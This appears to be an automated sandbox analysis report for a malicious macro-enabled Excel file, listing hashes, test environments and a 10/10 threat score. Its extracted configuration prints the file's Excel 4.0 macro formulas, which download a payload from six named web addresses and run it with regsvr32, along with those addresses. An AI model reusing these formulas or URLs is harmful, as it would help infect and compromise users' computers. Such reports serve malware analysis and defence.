General
-
Target
be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f
-
Size
46KB
-
Sample
241111-vj8vesvpfq
-
MD5
652e66fb5c62dcad9e8f9ac38c8d1930
-
SHA1
0fbcbd0a51968f6606eaa6cf9b07952fd2bca032
-
SHA256
be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f
-
SHA512
499d40baaac99fa3ebcb4805413cc1eed4963902c0f682d9383385924d61c3e57a3c67bbd95e860bf8934ab09418f833a64bcfece6d357fd0aa5821512e759ec
-
SSDEEP
768:+io9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:+io9D7UtT5fTR4Lh1NisFYBc3cr+UqVC
Behavioral task
behavioral1
Sample
be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f.xlsm
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://diacrestgroup.com/ggv3rjy/9/
https://merturku.com/blogs/IFcif/
https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/
https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/
https://mayatherm.com/vendor/3Vk/
https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Extracted
http://diacrestgroup.com/ggv3rjy/9/
https://merturku.com/blogs/IFcif/
https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/
https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/
https://mayatherm.com/vendor/3Vk/
https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/
Targets
-
-
Target
be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f
-
Size
46KB
-
MD5
652e66fb5c62dcad9e8f9ac38c8d1930
-
SHA1
0fbcbd0a51968f6606eaa6cf9b07952fd2bca032
-
SHA256
be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f
-
SHA512
499d40baaac99fa3ebcb4805413cc1eed4963902c0f682d9383385924d61c3e57a3c67bbd95e860bf8934ab09418f833a64bcfece6d357fd0aa5821512e759ec
-
SSDEEP
768:+io9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:+io9D7UtT5fTR4Lh1NisFYBc3cr+UqVC
Score10/10 -